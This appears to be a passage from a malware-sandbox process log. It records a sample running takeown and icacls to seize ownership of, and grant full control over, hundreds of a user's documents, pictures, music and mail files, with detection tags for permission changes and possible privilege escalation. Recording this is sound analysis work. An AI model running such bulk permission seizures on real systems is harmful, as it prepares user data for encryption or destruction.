C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\DebugUse.mpa3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\InitializeSuspend.au3 /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\ShowInvoke.cmd /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\desktop.ini3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\DisconnectApprove.htm3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\DisconnectFormat.3gp3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ConvertToClose.MOD /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\LockGet.pcx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\UpdateUnblock.odt /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Desktop\WriteClose.vssx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ConvertFromHide.tiff /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\BlockGet.cfg /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\DebugUse.mpa /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\GetLimit.bin3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\desktop.ini /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\GetUnpublish.jpg3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\CopyUpdate.iso /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\DisconnectApprove.htm /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\MeasureGet.mpe3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\DisconnectFormat.3gp /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\MeasureUpdate.search-ms3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\FindSync.xla3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\ConvertToRequest.wmv /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\MountMeasure.ADTS3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\NewAdd.ps13⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\NewSet.ppsx3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\MeasureUpdate.search-ms /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\FindSync.xla /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\MeasureGet.mpe /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\NewAdd.ps1 /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\NewSet.ppsx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\OpenGet.wmx3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\OptimizeNew.rm3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\GetUnpublish.jpg /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\OptimizeSelect.bmp3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\PingMeasure.vsw3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\PushRestart.jpeg3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\RestoreMove.ram3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\GetLimit.bin /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\OptimizeNew.rm /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\OptimizeSelect.bmp /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\OpenGet.wmx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\RevokeReceive.mp4v3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\RestoreMove.ram /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\SearchEnable.rm3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\PingMeasure.vsw /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\StartBlock.vsd3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\RevokeReceive.mp4v /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\SearchEnable.rm /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\StartBlock.vsd /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\StepFind.mpeg33⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\MountMeasure.ADTS /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\UnblockRestart.dib3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\UndoInvoke.ttf3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\StepFind.mpeg3 /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\PushRestart.jpeg /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\UnblockRestart.dib /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\WaitFormat.m1v3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\AddPop.odp3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\ConfirmAssert.dotx3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Downloads\WriteUninstall.pub3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\WaitFormat.m1v /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\ConvertDeny.doc3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\AddPop.odp /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\WriteUninstall.pub /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\DebugUpdate.docx3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\ConvertDeny.doc /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Downloads\UndoInvoke.ttf /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\DisconnectConnect.pptx3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\EditInitialize.xps3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\GetReceive.vsx3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\DebugUpdate.docx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\GetReceive.vsx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\HideOpen.ppt3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\EditInitialize.xps /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\DisconnectConnect.pptx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\HideOpen.ppt /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\InitializeUnpublish.ods3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\MeasureSubmit.potx3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\NewMove.vssm3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\MeasureSubmit.potx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\ReceiveStart.vstm3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\RevokeFind.potx3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\ConfirmAssert.dotx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\RevokeOpen.rtf3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SearchEnable.docx3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\NewMove.vssm /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\InitializeUnpublish.ods /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\ReceiveStart.vstm /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SetDeny.wps3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\RevokeFind.potx /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SetDisable.xlsx3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\ShowSend.xltm3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\RevokeOpen.rtf /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SearchEnable.docx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SetDisable.xlsx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SetDeny.wps /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\ShowSend.xltm /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\StopBlock.xlsx3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SuspendShow.xlsb3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\StopBlock.xlsx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SuspendShow.xlsb /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\SuspendWrite.xlt3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\UninstallSkip.ods3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\UseClear.pot3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\SuspendWrite.xlt /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\UninstallSkip.ods /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\WaitRestart.rtf3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\UseClear.pot /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Documents\WaitUndo.xlsm3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\Documents\OneNote Notebooks\Quick Notes.one"3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2"3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Quick Notes.one"3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\WaitUndo.xlsm /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls "\\?\C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Quick Notes.one" /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Documents\WaitRestart.rtf /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\Documents\Outlook Files\Outlook Data File - qkenbciswv.pst"3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\BackupSearch.ico3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\CheckpointReceive.dwg3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls "\\?\C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2" /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls "\\?\C:\Users\Admin\Documents\Outlook Files\Outlook Data File - qkenbciswv.pst" /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\BackupSearch.ico /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\CompressRequest.png3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\CheckpointReceive.dwg /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls "\\?\C:\Users\Admin\Documents\OneNote Notebooks\Quick Notes.one" /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\DebugResume.dib3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\GrantUnprotect.svgz3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\InvokeCompare.dib3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\PushWrite.eps3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RedoAssert.emz3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RedoEdit.emz3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RegisterFormat.gif3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RenameComplete.ico3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\ResolveRestart.crw3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\CompressRequest.png /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\RenameComplete.ico /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\RedoEdit.emz /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\ResolveRestart.crw /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\RestoreConfirm.raw3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\SelectDebug.dxf3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\SetWait.wmf3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\RedoAssert.emz /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\SplitRedo.png3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\RegisterFormat.gif /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\DebugResume.dib /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\PushWrite.eps /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\GrantUnprotect.svgz /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\StepOptimize.emf3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\InvokeCompare.dib /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\TestGroup.gif3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\SelectDebug.dxf /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\RestoreConfirm.raw /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\SetWait.wmf /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\SplitRedo.png /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\UnblockUnpublish.dwg3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\uQHDkDKPZ.jpg3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\UnblockUnpublish.dwg /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\uQHDkDKPZ.jpg /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Pictures\WaitRestart.emf3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\WaitRestart.emf /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\CompleteRestart.vssm3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\TestGroup.gif /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\EnterUnlock.css3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\ExitRestore.au3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\ExpandRevoke.wma3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\ExpandRevoke.wma /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Pictures\StepOptimize.emf /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\CompleteRestart.vssm /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\GroupResolve.3gp23⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\EnterUnlock.css /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\GroupResolve.3gp2 /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\ImportConvertFrom.mhtml3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\LimitWrite.vb3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\LockBackup.otf3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\ImportConvertFrom.mhtml /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\LockSwitch.ods3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\ExitRestore.au /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\LockBackup.otf /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\RegisterHide.mpg3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\ResizeInstall.mht3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\SearchUpdate.nfo3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\ShowEnable.shtml3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\SkipRestore.wdp3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\RegisterHide.mpg /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\ShowEnable.shtml /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\SearchUpdate.nfo /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\SkipRestore.wdp /grant Admin:F3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\StepDeny.dwg3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\SubmitRename.xht3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\LimitWrite.vb /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\SyncInvoke.bmp3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\SubmitRename.xht /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\ResizeInstall.mht /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\UnprotectGrant.mid3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\UnpublishDisable.shtml3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\UseRename.pps3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\StepDeny.dwg /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\LockSwitch.ods /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Music\WatchImport.wmf3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Favorites\Bing.url3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\WatchImport.wmf /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\UnpublishDisable.shtml /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\UnprotectGrant.mid /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\SyncInvoke.bmp /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Music\UseRename.pps /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Favorites\desktop.ini3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Favorites\Bing.url /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\Favorites\Links\desktop.ini3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\3D Objects\desktop.ini"3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Favorites\desktop.ini /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\IconCache.db3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\Favorites\Links\desktop.ini /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls "\\?\C:\Users\Admin\3D Objects\desktop.ini" /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\IconCache.db /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst /grant Admin:F3⤵
-
